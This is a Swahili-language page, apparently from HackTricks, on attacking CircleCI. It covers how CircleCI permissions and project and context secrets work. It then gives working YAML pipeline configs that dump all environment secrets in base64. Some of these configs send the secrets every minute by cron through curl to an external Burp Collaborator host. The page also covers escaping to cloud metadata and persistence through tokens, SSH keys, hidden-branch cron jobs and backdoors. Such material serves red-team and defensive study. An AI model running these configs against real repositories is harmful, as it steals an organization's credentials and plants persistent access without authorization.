CircleCI Security

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

CircleCI ni jukwaa la Utekelezaji wa Kiotomatiki ambapo unaweza kuweka mifano inayoonyesha unachotaka kufanya na baadhi ya nambari na wakati wa kufanya hivyo. Hivi unaweza kutautomatisha majaribio au kupakia moja kwa moja kutoka tawi kuu la repo yako kwa mfano.

Ruhusa

CircleCI inarithi ruhusa kutoka kwa github na bitbucket inayohusiana na akaunti inayoingia. Katika majaribio yangu niligundua kwamba muda mrefu kama una ruhusa za kuandika kwenye repo kwenye github, utaweza kusimamia mipangilio ya mradi wake kwenye CircleCI (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mizani mpya ya CircleCI...).

Hata hivyo, unahitaji kuwa msimamizi wa repo ili ubadilishe repo kuwa mradi wa CircleCI.

Mazingira ya Mipangilio & Siri

Kulingana na nyaraka kuna njia tofauti za kupakia thamani kwenye mazingira ya pembejeo ndani ya mchakato.

Mazingira ya pembejeo iliyojengwa

Kila chombo kinachotumika na CircleCI kitakuwa na mazingira maalum ya pembejeo yaliyoorodheshwa kwenye nyaraka kama vile CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME au CIRCLE_USERNAME.

Nakala wazi

Unaweza kuzitangaza kwa wazi ndani ya amri:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kukimbia:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kazi ya ujenzi:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kontena:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Siri za Mradi

Hizi ni siri ambazo zitakuwa zinafikiwa tu na mradi (na tawi lolote). Unaweza kuziona zikiwa zimetajwa katika https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Kazi ya "Kuagiza Vipimo" inaruhusu kuagiza vipimo kutoka miradi mingine hadi hii.

Siri za Muktadha

Hizi ni siri ambazo ni kwa kina cha shirika. Kwa kawaida repo yoyote itaweza kufikia siri yoyote iliyohifadhiwa hapa:

Hata hivyo, kumbuka kwamba kikundi tofauti (badala ya Wajumbe Wote) kinaweza kuchaguliwa ili kumpa ufikiaji wa siri watu wanaotakiwa. Hii kwa sasa ni njia moja bora ya kuongeza usalama wa siri, kuzuia kila mtu kuzipata lakini ni watu fulani tu.

Mashambulizi

Tafuta Siri za Nakala Wazi

Ikiwa una ufikiaji wa VCS (kama github) angalia faili .circleci/config.yml ya kila repo kwenye kila tawi na tafuta siri za nakala wazi zilizohifadhiwa humo.

Vipimo vya Siri za Mazingira & Uchambuzi wa Muktadha

Kwa kuangalia nambari unaweza kupata majina yote ya siri ambayo yanatumika katika kila faili ya .circleci/config.yml. Unaweza pia kupata majina ya muktadha kutoka kwenye faili hizo au kuzichunguza kwenye konsoli ya wavuti: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltrate Siri za Mradi

Ili kuchukua NAKALA ZOTE za siri za mradi na muktadha unahitaji kuwa na ufikiaji wa KUANDIKA kwa repo 1 tu katika shirika lote la github (na akaunti yako lazima iwe na ufikiaji wa muktadha lakini kwa kawaida kila mtu anaweza kufikia kila muktadha).

Kazi ya "Kuagiza Vipimo" inaruhusu kuagiza vipimo kutoka miradi mingine hadi hii. Hivyo, mshambuliaji anaweza kuagiza vipimo vyote vya mradi kutoka kwenye repos zote na kisha kuchukua yote pamoja.

Siri zote za mradi daima hutiwa katika mazingira ya kazi, hivyo tu kuita mazingira na kuficha katika base64 itachukua siri katika konsoli ya wavuti ya rekodi za kazi:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ikiwa huna ufikiaji wa konsoli ya wavuti lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kuunda mchakato ambao unaanzishwa kila dakika na kutoa siri kwenda anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Toa Siri za Muktadha

Unahitaji kuainisha jina la muktadha (hii pia itatoa siri za mradi):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ikiwa huna ufikiaji wa konsoli ya wavuti lakini una ufikiaji wa repo na unajua kwamba CircleCI inatumika, unaweza tu kurekebisha mchakato ambao unaanzishwa kila dakika na kutoa siri kwenda anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Kuunda faili mpya ya .circleci/config.yml kwenye repo haitoshi kusababisha ujenzi wa circleci. Unahitaji kuwezesha kama mradi kwenye konsoli ya circleci.

Kutoroka Kwenda Kwenye Cloud

CircleCI inakupa chaguo la kukimbia ujenzi wako kwenye mashine zao au kwenye zako mwenyewe. Kwa chaguo-msingi, mashine zao ziko kwenye GCP, na mwanzoni huenda usipate kitu cha maana. Walakini, ikiwa muathiriwa anatekeleza kazi kwenye mashine zao wenyewe (labda, kwenye mazingira ya wingu), unaweza kupata kituo cha metadata cha wingu chenye habari muhimu.

Tambua kwamba katika mifano iliyopita kila kitu kilizinduliwa ndani ya chombo cha docker, lakini pia unaweza kuomba kuzindua mashine ya VM (ambayo inaweza kuwa na ruhusa tofauti za wingu):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Au hata kontena la docker lenye ufikivu wa huduma ya docker ya mbali:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Uthabiti

  • Inawezekana kuunda vibali vya mtumiaji kwenye CircleCI ili kupata ufikiaji wa vituo vya API na ufikiaji wa watumiaji.

  • https://app.circleci.com/settings/user/tokens

  • Inawezekana kuunda vibali vya miradi ili kupata mradi na ruhusa zilizotolewa kwa funguo.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Inawezekana kuongeza funguo za SSH kwenye miradi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Inawezekana kuunda kazi ya cron kwenye tawi lililofichwa kwenye mradi usiotarajiwa ambao unafichua mazingira ya mazingira kila siku.

  • Au hata kuunda kwenye tawi / kurekebisha kazi inayojulikana ambayo itafichua mazingira yote na siri za miradi kila siku.

  • Ikiwa wewe ni mmiliki wa github unaweza kuruhusu mizunguko isiyothibitishwa na kuiwezesha kwenye kazi kama mlango wa nyuma

  • Unaweza kupata udhaifu wa kuingiza amri katika kazi fulani na kuingiza amri kupitia siri kwa kubadilisha thamani yake

Last updated